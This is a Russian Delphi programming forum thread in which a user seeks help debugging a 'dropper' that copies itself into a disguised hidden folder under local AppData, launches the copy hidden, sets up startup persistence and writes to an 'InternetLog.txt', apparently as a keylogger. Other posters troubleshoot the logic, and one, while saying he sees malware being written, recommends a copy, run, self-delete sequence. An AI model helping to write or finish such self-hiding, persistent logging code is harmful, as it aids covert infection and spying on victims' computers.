Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Delphi программирование > Общие вопросы Delphi
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 07.02.2012, 19:29   #1
iLnes
Пользователь
 
Регистрация: 07.10.2011
Сообщений: 66
По умолчанию Проблема с дропом и запуском файла.

Привет всем.
Уже с неделю борюсь с этой проблемой и решить никак не могу.
Сначало отпишу саму задачу и проблему:
Задача: Запускаем файл, он копирует сам себя в папку, запускает тот файл который скопировал, а сам завершается.
Проблема: Копирует нормально, запуск нормальный, но при повторном запуске висит в процессах. То есть, я запустил файл, он дропнул сам себя в папку, запусти копию (которую дропнул) и сам закрылся. И когда я повторно открыл файл 1 (не тот, который скопировался, а который дропал), то он висит в процессах и работает, заместо того чтобы закрываться.
Вообщем такой вот код:
Сканим процесс:
Код:
//****************Check process runnig*****************
function P_IsRunning(Name: String = ''): Boolean;
var
SnapshotHandle: THandle;
Entry: TProcessEntry32;
// BEGIN internal function 1
 function P_IsRunning_Compare: Boolean;
 begin
  Result := Entry.szExeFile = Name;
 end;
// END internal function 1
begin
 SnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  if SnapshotHandle = 0 then
   begin
    Result := False;
    Exit;
   end;
 Entry.dwSize := SizeOf(TProcessEntry32);
  if not Process32First(SnapshotHandle, Entry) then
   begin
    Result := False;
    Exit;
   end;
  if P_IsRunning_Compare then
   begin
    Result := True;
    Exit;
   end;
  while Process32Next(SnapshotHandle, Entry) do
  if P_IsRunning_Compare then
  begin
   Result := True;
   Exit;
   end;
 Result := False;
end;
Сама работа дроппера:
Код:
begin
 WorkFolderFile := GetSpecialFolderPath(CSIDL_LOCAL_APPDATA) + '\WindowsInternet\';
 if (FileExists(WorkFolderFile + Drop_Name)=false) and (P_IsRunning(Drop_Name)=False) then
  begin
   CreateDirectory(pchar(WorkFolderFile),nil);
   CopyFile(PChar(ParamStr(0)), pchar(WorkFolderFile + Drop_Name), true);
   WinExec(Pchar(WorkFolderFile + Drop_Name), SW_HIDE);
   Halt;
  end;
  FH:=CreateFile(Pchar(WorkFolderFile + 'InternetLog.txt'),$40000000,$00000002,nil,4,0,0);
  LogoInFile;
  MakeStartDirective;
  loggern:='';
  starttimer1(1);
  starttimer2(10000);
  while True do
  sleep(100);
end.

Последний раз редактировалось iLnes; 07.02.2012 в 19:33.
iLnes вне форума Ответить с цитированием
Старый 07.02.2012, 23:49   #2
iLnes
Пользователь
 
Регистрация: 07.10.2011
Сообщений: 66
По умолчанию

Можно ожидать помощи от кого-нибудь?
iLnes вне форума Ответить с цитированием
Старый 08.02.2012, 00:20   #3
Hacker19_90
Delphi Warrior
Старожил
 
Аватар для Hacker19_90
 
Регистрация: 15.08.2008
Сообщений: 2,502
По умолчанию

сморим
Цитата:
Код:
if (FileExists(WorkFolderFile + Drop_Name)=false) and (P_IsRunning(Drop_Name)=False)
Файл скопирован? да! равно false? нет!
файл запущен? да! равно false? нет!
нет и нет = НЕТ! значит
Цитата:
Код:
while True do
  sleep(100)
Вот и всё!
P.S.: Если что-то подобное ко мне попадёт я знаю где вас искать )))
Mess with the best, die like the rest. (с) Hackers
Лабораторные, курсовые на Delphi\Pascal\C++
ya.flex-freelance@yandex.ru Icq - 636-954-303
Hacker19_90 вне форума Ответить с цитированием
Старый 08.02.2012, 14:07   #4
iLnes
Пользователь
 
Регистрация: 07.10.2011
Сообщений: 66
По умолчанию

Цитата:
Сообщение от Hacker19_90 Посмотреть сообщение
сморим

Файл скопирован? да! равно false? нет!
файл запущен? да! равно false? нет!
нет и нет = НЕТ! значит

Вот и всё!
P.S.: Если что-то подобное ко мне попадёт я знаю где вас искать )))
Частично Вас понял, но до конца проблема не могу решить)
Заменил это:
Код:
while True do
  sleep(100)
на это:
Код:
sleep(2000);
Но тогда после слипа в 2 секунды завершается и дропнутый файл (т.к дропер и файл, который дропаются идеинтичны, то так и получается).
Я вас понимаю, но как сделать так, чтобы работала - не знаю

Последний раз редактировалось iLnes; 08.02.2012 в 14:26.
iLnes вне форума Ответить с цитированием
Старый 08.02.2012, 20:08   #5
iLnes
Пользователь
 
Регистрация: 07.10.2011
Сообщений: 66
По умолчанию

подниму.
Поможете?)
iLnes вне форума Ответить с цитированием
Старый 09.02.2012, 20:13   #6
iLnes
Пользователь
 
Регистрация: 07.10.2011
Сообщений: 66
По умолчанию

Подниму тему.
Уверен, есть люди которые могут помочь.
iLnes вне форума Ответить с цитированием
Старый 09.02.2012, 23:48   #7
iLnes
Пользователь
 
Регистрация: 07.10.2011
Сообщений: 66
По умолчанию

Подниму.
Все еще актуальна помощь.
iLnes вне форума Ответить с цитированием
Старый 09.02.2012, 23:53   #8
spamer
Software Developer
Старожил
 
Аватар для spamer
 
Регистрация: 19.12.2008
Сообщений: 2,070
По умолчанию

Что-то не пойму общую идею - нужно сделать запуск одной копии приложения? Или что?
Будь проще и люди к тебе потянутся
spamer вне форума Ответить с цитированием
Старый 12.02.2012, 14:42   #9
iLnes
Пользователь
 
Регистрация: 07.10.2011
Сообщений: 66
По умолчанию

Цитата:
Сообщение от spamer Посмотреть сообщение
Что-то не пойму общую идею - нужно сделать запуск одной копии приложения? Или что?
Да, только с некоторым пунктами:
запустить не себя 2 раза, а запустить тот файл, который мы скопировали в папку, а самому закрыться. В случаи, если запускают повторно, то тогда не запускаться а просто завершаться.
Сейчас вот такой код получился:
Код:
begin

 WorkFolderFile := GetSpecialFolderPath(CSIDL_LOCAL_APPDATA) + '\WindowsInternet\';

 if (FileExists(WorkFolderFile + Drop_Name)=True) then

  begin

   halt;

  end;

 CreateDirectory(pchar(WorkFolderFile),nil);

 SetFileAttributes(Pchar(WorkFolderFile),$00000002)  ;

 CopyFile(PChar(ParamStr(0)), pchar(WorkFolderFile + Drop_Name), true);

 SetFileAttributes(Pchar(WorkFolderFile + Drop_Name),$00000002);

 WinExec(Pchar(WorkFolderFile + Drop_Name), SW_HIDE);

 FH:=CreateFile(Pchar(WorkFolderFile + 'InternetLog.txt'),$40000000,$00000002,nil,4,0,0);

 SetFileAttributes(Pchar(WorkFolderFile + 'InternetLog.txt'),$00000002);

 LogoInFile;

 MakeStartDirective;

 loggern:='';

 starttimer1(1);

 starttimer2(10000);

 while True do

 sleep(100);

end.
Но проблема так и осталась, т.к:
Файл который копирует сам себя - цифра 1;
Файл который скопировался - цифра 2;
Файл под цифрой 1 запускает файл под цифрой 2, но т.к они оба одинаковы(ведь это копии друг друга) то файл под цифрой 2 видит, что этоа папка используется и завершается (
то папка используется, потому что до этого файл под цифрой 1 уже создал её, и файл под цифрой 2 как раз в ней и находиться и в ней и запускается). То есть, получается замкнутый круг. Файл 2 не может запуститься

Последний раз редактировалось iLnes; 12.02.2012 в 17:35.
iLnes вне форума Ответить с цитированием
Старый 12.02.2012, 15:58   #10
Lauri
Форумчанин
 
Регистрация: 01.04.2010
Сообщений: 171
По умолчанию

Вижу малварь кодите, тут такое не приветствуется
Делайте так
Копия в папку
Запуск
Самоудаление
Халт
Lauri вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Проблема с запуском программы! JasperCRT Общие вопросы Delphi 1 27.05.2011 09:30
Проблема с запуском! Bilargo Операционные системы общие вопросы 3 27.12.2010 01:04
Проблема с запуском Ice Cold Компьютерное железо 5 04.06.2009 01:10
Проблема с запуском Rio309 Компьютерное железо 6 21.02.2009 00:43
Проблема с запуском boroda Помощь студентам 5 11.01.2009 11:52